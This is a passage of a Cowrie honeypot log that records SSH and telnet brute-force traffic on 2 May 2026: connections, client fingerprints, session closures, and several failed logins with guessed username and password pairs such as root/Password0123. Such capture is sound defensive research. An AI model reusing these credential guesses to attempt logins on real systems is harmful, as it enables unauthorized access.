af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:14.690284Z","src_ip":"216.155.93.75","session":"77e860b36932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456bc","message":"login attempt [root/A123456bc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:15.344652Z","src_ip":"216.155.93.75","session":"77e860b36932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:16.505161Z","src_ip":"216.155.93.75","session":"77e860b36932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":59323,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d6d6ceb41ee","protocol":"ssh","message":"New connection: 49.247.36.49:59323 (10.17.0.5:22) [session: 1d6d6ceb41ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:28.735745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:28.741075Z","src_ip":"49.247.36.49","session":"1d6d6ceb41ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:28.949898Z","src_ip":"49.247.36.49","session":"1d6d6ceb41ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":59462,"dst_ip":"159.203.135.109","dst_port":23,"session":"d986d9070690","protocol":"telnet","message":"New connection: 88.202.190.14:59462 (159.203.135.109:23) [session: d986d9070690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:29.484504Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwerASDF","message":"login attempt [root/1234qwerASDF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:29.804337Z","src_ip":"49.247.36.49","session":"1d6d6ceb41ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:31.013424Z","src_ip":"49.247.36.49","session":"1d6d6ceb41ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":33608,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d0bf8a685df","protocol":"telnet","message":"New connection: 88.202.190.14:33608 (159.203.135.109:23) [session: 3d0bf8a685df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:35.912410Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":46276,"dst_ip":"159.203.135.109","dst_port":22,"session":"380f8da36416","protocol":"ssh","message":"New connection: 43.243.142.42:46276 (159.203.135.109:22) [session: 380f8da36416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:36.523896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:36.529212Z","src_ip":"43.243.142.42","session":"380f8da36416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:36.772534Z","src_ip":"43.243.142.42","session":"380f8da36416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"test","message":"login attempt [john/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:37.775837Z","src_ip":"43.243.142.42","session":"380f8da36416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":35374,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2146247a4bd","protocol":"telnet","message":"New connection: 88.202.190.14:35374 (159.203.135.109:23) [session: d2146247a4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:38.100353Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:39.021350Z","src_ip":"43.243.142.42","session":"380f8da36416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":36728,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad25872b75d","protocol":"telnet","message":"New connection: 88.202.190.14:36728 (159.203.135.109:23) [session: 9ad25872b75d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:39.533797Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":35954,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5f8b844fdc3","protocol":"telnet","message":"New connection: 88.202.190.14:35954 (159.203.135.109:23) [session: c5f8b844fdc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:40.263186Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":37704,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea3cc7af3a05","protocol":"telnet","message":"New connection: 88.202.190.14:37704 (159.203.135.109:23) [session: ea3cc7af3a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:40.800893Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":35892,"dst_ip":"159.203.135.109","dst_port":23,"session":"5515af245de7","protocol":"telnet","message":"New connection: 88.202.190.14:35892 (159.203.135.109:23) [session: 5515af245de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:41.100741Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":39656,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1339d0e13ba","protocol":"telnet","message":"New connection: 88.202.190.14:39656 (159.203.135.109:23) [session: a1339d0e13ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:44.653538Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":40946,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f14b24071ba","protocol":"telnet","message":"New connection: 88.202.190.14:40946 (159.203.135.109:23) [session: 3f14b24071ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:45.219999Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":40922,"dst_ip":"159.203.135.109","dst_port":23,"session":"936fe124bcc5","protocol":"telnet","message":"New connection: 88.202.190.14:40922 (159.203.135.109:23) [session: 936fe124bcc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:46.173906Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":43472,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a90e7aad8ea","protocol":"telnet","message":"New connection: 88.202.190.14:43472 (159.203.135.109:23) [session: 7a90e7aad8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:48.204506Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":44646,"dst_ip":"159.203.135.109","dst_port":23,"session":"bec619ff05d5","protocol":"telnet","message":"New connection: 88.202.190.14:44646 (159.203.135.109:23) [session: bec619ff05d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:49.366358Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":43810,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e1b3b291c53","protocol":"telnet","message":"New connection: 88.202.190.14:43810 (159.203.135.109:23) [session: 2e1b3b291c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:49.526310Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":45010,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b3e19646de2","protocol":"telnet","message":"New connection: 88.202.190.14:45010 (159.203.135.109:23) [session: 9b3e19646de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:49.805831Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":45692,"dst_ip":"159.203.135.109","dst_port":23,"session":"805296bd9063","protocol":"telnet","message":"New connection: 88.202.190.14:45692 (159.203.135.109:23) [session: 805296bd9063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:50.414742Z"}
{"eventid":"cowrie.session.closed","duration":109.07841515541077,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:50.761474Z","src_ip":"64.227.101.30","session":"edfa04a34a9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":55904,"dst_ip":"159.203.135.109","dst_port":22,"session":"797677fbe777","protocol":"ssh","message":"New connection: 42.200.66.164:55904 (159.203.135.109:22) [session: 797677fbe777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:50.891544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:50.897231Z","src_ip":"42.200.66.164","session":"797677fbe777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":46288,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bca101143ed","protocol":"telnet","message":"New connection: 88.202.190.14:46288 (159.203.135.109:23) [session: 5bca101143ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:51.002181Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:51.111941Z","src_ip":"42.200.66.164","session":"797677fbe777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":46690,"dst_ip":"159.203.135.109","dst_port":23,"session":"eae8bfca2cb6","protocol":"telnet","message":"New connection: 88.202.190.14:46690 (159.203.135.109:23) [session: eae8bfca2cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:51.400964Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":47238,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d2fd8eceb73","protocol":"telnet","message":"New connection: 88.202.190.14:47238 (159.203.135.109:23) [session: 5d2fd8eceb73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:51.864747Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password0123","message":"login attempt [root/Password0123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:52.005946Z","src_ip":"42.200.66.164","session":"797677fbe777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":45450,"dst_ip":"159.203.135.109","dst_port":23,"session":"037929a1394f","protocol":"telnet","message":"New connection: 88.202.190.14:45450 (159.203.135.109:23) [session: 037929a1394f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:52.235417Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":44472,"dst_ip":"159.203.135.109","dst_port":23,"session":"14e32ea5ab0c","protocol":"telnet","message":"New connection: 88.202.190.14:44472 (159.203.135.109:23) [session: 14e32ea5ab0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:52.262679Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:53.223544Z","src_ip":"42.200.66.164","session":"797677fbe777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":48218,"dst_ip":"159.203.135.109","dst_port":23,"session":"b240f37dd4e6","protocol":"telnet","message":"New connection: 88.202.190.14:48218 (159.203.135.109:23) [session: b240f37dd4e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:53.732124Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":50074,"dst_ip":"159.203.135.109","dst_port":23,"session":"b57abb1d1e6a","protocol":"telnet","message":"New connection: 88.202.190.14:50074 (159.203.135.109:23) [session: b57abb1d1e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:55.527902Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":51040,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a078f0fb931","protocol":"telnet","message":"New connection: 88.202.190.14:51040 (159.203.135.109:23) [session: 1a078f0fb931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:55.539322Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":51208,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6d0a1fa0f6f","protocol":"telnet","message":"New connection: 88.202.190.14:51208 (159.203.135.109:23) [session: e6d0a1fa0f6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:55.690114Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":38476,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef67f159c43f","protocol":"telnet","message":"New connection: 88.202.190.14:38476 (159.203.135.109:23) [session: ef67f159c43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:57.357293Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":53446,"dst_ip":"159.203.135.109","dst_port":23,"session":"da960ab4e441","protocol":"telnet","message":"New connection: 88.202.190.14:53446 (159.203.135.109:23) [session: da960ab4e441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:58.228277Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":54270,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3b423f09045","protocol":"telnet","message":"New connection: 88.202.190.14:54270 (159.203.135.109:23) [session: e3b423f09045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:59.013253Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":54802,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc431d9d7a7","protocol":"telnet","message":"New connection: 88.202.190.14:54802 (159.203.135.109:23) [session: 3dc431d9d7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:59.574241Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":53966,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ebbf51e400a","protocol":"telnet","message":"New connection: 88.202.190.14:53966 (159.203.135.109:23) [session: 3ebbf51e400a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:20:59.697098Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":48496,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9fd0e640157","protocol":"telnet","message":"New connection: 88.202.190.14:48496 (159.203.135.109:23) [session: b9fd0e640157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:00.168411Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":55616,"dst_ip":"159.203.135.109","dst_port":23,"session":"57847912ff83","protocol":"telnet","message":"New connection: 88.202.190.14:55616 (159.203.135.109:23) [session: 57847912ff83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:00.361386Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":54818,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c8780bc0e74","protocol":"telnet","message":"New connection: 88.202.190.14:54818 (159.203.135.109:23) [session: 6c8780bc0e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:00.591192Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":51070,"dst_ip":"159.203.135.109","dst_port":23,"session":"868316847c9a","protocol":"telnet","message":"New connection: 88.202.190.14:51070 (159.203.135.109:23) [session: 868316847c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:00.595968Z"}
{"eventid":"cowrie.session.closed","duration":31.169031143188477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:00.653409Z","src_ip":"88.202.190.14","session":"d986d9070690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":55310,"dst_ip":"159.203.135.109","dst_port":23,"session":"299c58a27529","protocol":"telnet","message":"New connection: 88.202.190.14:55310 (159.203.135.109:23) [session: 299c58a27529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:01.035667Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":56410,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc92e3651444","protocol":"telnet","message":"New connection: 88.202.190.14:56410 (159.203.135.109:23) [session: bc92e3651444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:01.149587Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":57786,"dst_ip":"159.203.135.109","dst_port":23,"session":"38eccbe3527c","protocol":"telnet","message":"New connection: 88.202.190.14:57786 (159.203.135.109:23) [session: 38eccbe3527c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:02.388271Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":57510,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1082c9a1714","protocol":"telnet","message":"New connection: 88.202.190.14:57510 (159.203.135.109:23) [session: d1082c9a1714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:03.115448Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":51460,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8380b635965","protocol":"telnet","message":"New connection: 88.202.190.14:51460 (159.203.135.109:23) [session: a8380b635965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:03.244061Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":56680,"dst_ip":"159.203.135.109","dst_port":23,"session":"2973f5708fa9","protocol":"telnet","message":"New connection: 88.202.190.14:56680 (159.203.135.109:23) [session: 2973f5708fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:03.375918Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":58400,"dst_ip":"159.203.135.109","dst_port":23,"session":"7263d607360f","protocol":"telnet","message":"New connection: 88.202.190.14:58400 (159.203.135.109:23) [session: 7263d607360f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:04.002989Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":55460,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5e4c7dd9dc9","protocol":"telnet","message":"New connection: 88.202.190.14:55460 (159.203.135.109:23) [session: b5e4c7dd9dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:04.198698Z"}
{"eventid":"cowrie.session.closed","duration":30.17290687561035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:06.085214Z","src_ip":"88.202.190.14","session":"3d0bf8a685df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":35062,"dst_ip":"159.203.135.109","dst_port":23,"session":"28963418d5fa","protocol":"telnet","message":"New connection: 88.202.190.14:35062 (159.203.135.109:23) [session: 28963418d5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:21:07.922952Z"}
